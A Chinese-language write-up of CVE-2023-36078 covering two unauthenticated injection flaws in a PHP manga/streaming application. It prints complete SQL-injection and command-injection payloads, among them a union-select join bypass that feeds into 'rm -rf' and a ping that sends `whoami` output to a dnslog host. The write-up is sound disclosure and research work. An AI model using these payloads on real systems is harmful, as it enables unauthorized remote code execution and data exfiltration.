0x01 前言

记录一次本人CVE漏洞挖掘的过程,此漏洞已被分配编号:CVE-2023-36078

0x02 挖掘思路

漏洞编号:CVE-2023-36078

本次挖掘的WEB应用采用PHP编写,是一个流媒体平台,可以方便地浏览流媒体,支持压缩、添加、删除、阅读模式、书签和历史记录等功能,使用mysql作为数据库。

本文详细介绍了两个命令注入点的挖掘和分析过程,其中一个注入失败,另一个实现从Sql注入到命令注入,成功Get未授权RCE漏洞。

本次挖掘结合渗透测试和代码审计,先从代码审计入手,根据未授权远程代码执行漏洞的常规思路,寻找调用Shell接口的API函数,PHP执行系统命令常见的函数如下:

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()

思路就是在代码中寻找这些敏感函数,以查找潜在的漏洞。

0x03 挖掘过程

根据上面的敏感函数,查找源代码,发现两个代码处存在shell_exec()函数。

1、compress.php

第一个是在 /php/compress/compress.php 文件中,其功能是在进行7z压缩时,使用命令拼接path和extractTo参数。

追踪这两个参数,发现当chapterType参数为7z时,path和extractTo参数通过chapterPath和extractTo参数传入。

继续追踪,发现chapterPath和chapterType参数可以通过POST直接传入,extractTo参数值通过日期和chapterPath的MD5值拼接得到。

至此大致了解这个接口的功能点,通过传入一个压缩方式和文件路径,对文件进行压缩,chapterPath和chapterType参数均可控,且该功能点没有鉴权控制,因此只需设置chapterType参为7z,chapterPath为我们注入的命令即可实现未授权远程代码执行。

第一张图可以看出命令拼接使用了单引号闭合传入的字符串,因此我们需要构造单引号闭合区间,原理类似Sql注入,并使用分号分隔命令。

因为此处RCE没有回显,借助dnslog判断,随便补齐其余参数,构造Payload:

chapterPath='; ping -c 3 5b72a1a3.dns.dnsmap.org.;'&chapterType=7z

此时服务器执行的命令应为:

7za x ''; ping -c 3 5b72a1a3.dns.dnsmap.org.;'' -r -o'$extractTo'

理论上可以执行命令,但是发包后dnslog没有回显,且返回包为空。

尝试构造一个正常的chapterId参数,发现返回包有回显,此处报错是路径错误的问题,代码逻辑实际已经走过命令执行的步骤。

说明我们的命令注入Payload哪里出了问题,经过一段时间排查,发现是引号的问题,只要没有引号,程序就会正常执行,有了引号,程序就会中途报错退出。

继续查看代码,找到了原因,因为在执行命令之前,程序还会把chapterPath写入数据库,

追踪dosql函数,发现其Sql语句使用单引号拼接,因此我们Paylaod中的单引号会干扰数据库操作的命令,导致出错提前退出,因此没有走到命令注入点。

现在思路清晰了,需要构造的Payload既要闭合命令注入点的单引号,又要不干扰Sql语句的单引号,刚开始尝试用url编码单引号,但是发现mysql依旧可以识别,经过多次尝试,最终构造这样的Payload:

chapterPath=%5c';ping -c 3 5b72a1a3.dns.dnsmap.org.;%5c'&chapterType=7z

其中%5c是 \ 符号的url编号,命令终端不会把%5c识别为转义符,而mysql可以识别为转义符,这样就满足了条件,绕过了mysql的干扰,发包后果然如预期。

但是dnslog依旧没有收到记录,排查一段时间后依旧无果(崩溃了TAT),于是先把这个点搁置,查看另一个命令注入点。

2、delete.php

另一个注入点是在 /php/manga/delete.php 中,其功能是在删除文件时,使用 rm -rf 拼接路径造成了命令注入,且这个接口也是无需鉴权的。

在圈出的红框上方一行代码可以看到mangaPath参数是从mangaPathRes[0]['mangaPath']得到的。

追踪mangaPathRes[0]['mangaPath'],发现mangaPathRe是从数据库中查询的结果。

仔细查看dosql函数,发现name默认为*,group、order和limit默认都为空,最终执行的Sql语句如下:

select * from manga where mangaId=$mangaId;

确定了mangaPath参数的值其实是从manga表中查询mangaId行数据后mangaPath字段的值。

看到这里崩溃了,似乎没戏,因为参数没法控制,但是又想了一下,这里Sql语句没有进行过滤,理论上存在Sql注入,如果配合联合注入,构造mangaPath字段对应的值为注入的命令就可以执行远程命令。

开始尝试联合注入,该处代码Sql注入点mangaId为数字类型,deleteFile参数通过POST参数可控,Sql语句出错后返回的code为2,Sql语句正常执行后返回的code为0,通过order by判断联合查询个数,发现为12个,于是构造Payload先进行验证:

mangaId=1 union select 1,2,3,4,5,6,7,8,9,10,11,12&deleteFile=true

发包后发现code为2,Sql语句出错,果然没有像预期想的那么简单。发包后发现code为2,Sql语句出错,果然没有像预期想的那么简单。

继续查看代码,经过很长时间的排查和测试,发现原来在where字段处,代码会把逗号分隔的所有项识别为多个条件数组,使用and组装。

因此我们的Payload就变成了这样,所以Sql语句报错:

mangaId=1 union select 1 and 2 and 3 and 4 and 5 and 6 and 7 and 8 and 9 and 10 and 11 and 12&deleteFile=true

现在思路清晰了,联合查询项不使用逗号分隔,而使用join进行绕过,构造Payload:

mangaId=1 union select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d join (select 5)e join (select 6)f join (select 7)g join (select 8)h join (select 9)i join (select 10)j join (select 11)k join (select 12)l;&deleteFile=true

发包后发现满足预期,code为0,说明成功联合注入。

接下来就简单了,构造命令注入Payload,回带whoami的执行结果,因为此处命令注入没有回显,依旧采用dnslog的方式验证:

mangaId=1 union select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d join (select '\";ping -c 3 `whoami`.357efab8.dns.dnsmap.org.;\"')e join (select 6)f join (select 7)g join (select 8)h join (select 9)i join (select 10)j join (select 11)k join (select 12)l;&deleteFile=true

其中命令部分为

\";ping -c 3 `whoami`.357efab8.dns.dnsmap.org.;\"

因为代码中命令拼接使用双引号,这里需要闭合,同时使用转义符区分PHP语法的双引号,使用分号分隔命令,此时服务器执行的命令应为:

rm -rf "";ping -c 3 `whoami`.357efab8.dns.dnsmap.org.;""

dnslog收到记录,并成功回显。

至此成功挖掘了此处的远程代码执行漏洞。

0x04 总结

相关漏洞信息已提交给对应人员或平台。

漏洞挖掘是一个需要耐心的活,当遇到卡壳的时候永远告诉自己再看看,再试试,或许就能发现绕过方式和问题点。

不怕失败,坚持到最后,砥砺前行,最后祝自己和各位师傅在以后的挖洞道路上顺顺利利!